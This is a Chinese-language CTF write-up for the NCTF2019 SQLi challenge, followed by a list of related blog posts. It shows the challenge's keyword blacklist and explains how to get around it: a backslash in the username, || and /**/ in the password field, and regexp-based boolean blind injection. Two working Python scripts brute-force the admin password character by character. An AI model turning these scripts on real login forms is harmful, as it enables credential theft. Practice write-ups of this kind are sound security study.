[NCTF2019]SQLi regexp 盲注

/robots.txt

访问一下

复制代码
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

这里实现了过滤

说需要admin的密码

这里我们可以发现没有过滤 \ 所以username 我们可以通过 \ 来绕过

所以我们通过passwd注入

or 使用 || 代替

然后空格使用 /**/代替

我们尝试登入

发现进行302跳转 但是没办法

所以还是要通过 查询admin passwd 进入

所以我们开始

写注入的代码 这里很多都被过滤了

但是放出了 ^和 regexp

正则

我们可以通过正则来读取

和下面的例子一样

复制代码
select (select 'b') > (select 'abc')  这个时候会返回0


select name regexp "^a"     这里的name是admin   //我自己的数据库

返回的是1

所以我们可以通过 布尔注入实现这道题的读取

复制代码
import time
from urllib import parse

import requests
import string

baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"

paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'

def add(flag):
    res=''
    res += flag
    return  res
flag=''
ascii_chars = string.ascii_letters + string.digits + string.punctuation
print(ascii_chars)
for i in range(20):
    for j in ascii_chars:
        data = add(flag+j)
        paylaod1 = paylaod.format(data,parse.unquote('%00'))
        print(paylaod1)
        data={'username':'\\',
              'passwd':paylaod1}
        re=requests.post(url=baseurl,data=data)
        if re.status_code == 429:
            time.sleep(0.5)
        if "welcome.php" in re.text:
            flag += j
            print(flag)
            break

这里很坑 上面的 字符*的时候会循环输出

you*u*u*u

不知道是环境问题还是什么

所以我们现在替换

复制代码
import time
from urllib import parse

import requests
import string

baseurl="http://271f8427-5e33-4411-aae5-90e418285c4f.node4.buuoj.cn:81/"

paylaod = '||/**/passwd/**/regexp/**/"^{}";{}'

def add(flag):
    res=''
    res += flag
    return  res
flag=''
ascii_chars = string.ascii_letters+string.digits+"_"
for i in range(20):
    for j in ascii_chars:
        data = add(flag+j)
        paylaod1 = paylaod.format(data,parse.unquote('%00'))
        data={'username':'\\',
              'passwd':paylaod1}
        re=requests.post(url=baseurl,data=data)
        if re.status_code == 429:
            time.sleep(0.5)
        if "welcome.php" in re.text:
            flag += j
            print(flag)
            break

这个就可以爆出值了

复制代码
you_will_never_know7788990
相关推荐
FungLeo3 分钟前
FengCMS · PHP+MySQL 升级实录· 依赖生命周期与来源核验:jQuery 4.0 迁移 + SHA-256 核验脚本
mysql·php·jquery·依赖管理·fengcms
kitsch0x9721 分钟前
MITRE Engage 中的网络欺骗
安全·web安全·php
FungLeo36 分钟前
FengCMS · PHP+MySQL 升级实录 · CI 落地:PHP 8.4/8.5 矩阵、隔离凭证、诊断门槛失败
mysql·ci/cd·php·持续集成·fengcms
FungLeo21 小时前
FengCMS · PHP+MySQL 升级实录· 回归测试从 69 项到 478 项:HTTP/数据库回归套件怎么搭
数据库·mysql·php·回归测试·fengcms
FungLeo1 天前
FengCMS · PHP+MySQL 升级实录· PHP Session 锁:什么时候释放能救活并发
android·mysql·php·session·fengcms
bufengwangluo2 天前
企业上网行为管理:代理网关部署位置怎么选,策略怎么落
开发语言·php
FungLeo2 天前
FengCMS · PHP+MySQL 升级实录 · 输出转义的度:面包屑双重编码、默认转义与 cms_html()信任声明
mysql·html·php·fengcms·输出转义
FungLeo2 天前
FengCMS ·PHP+MySQL升级实录 · 富文本清洗配置实战:白名单、URI scheme、禁 iframe/id、实例缓存
mysql·缓存·php·xss·fengcms
苏琢玉2 天前
从 dsh-im 到微信:我做了个 PHP 包,让微信变成 AI 的消息入口
微信·php·composer
JaguarJack2 天前
php-wasm-builder 1.0 发布,让 PHP 应用在浏览器里运行
后端·php·服务端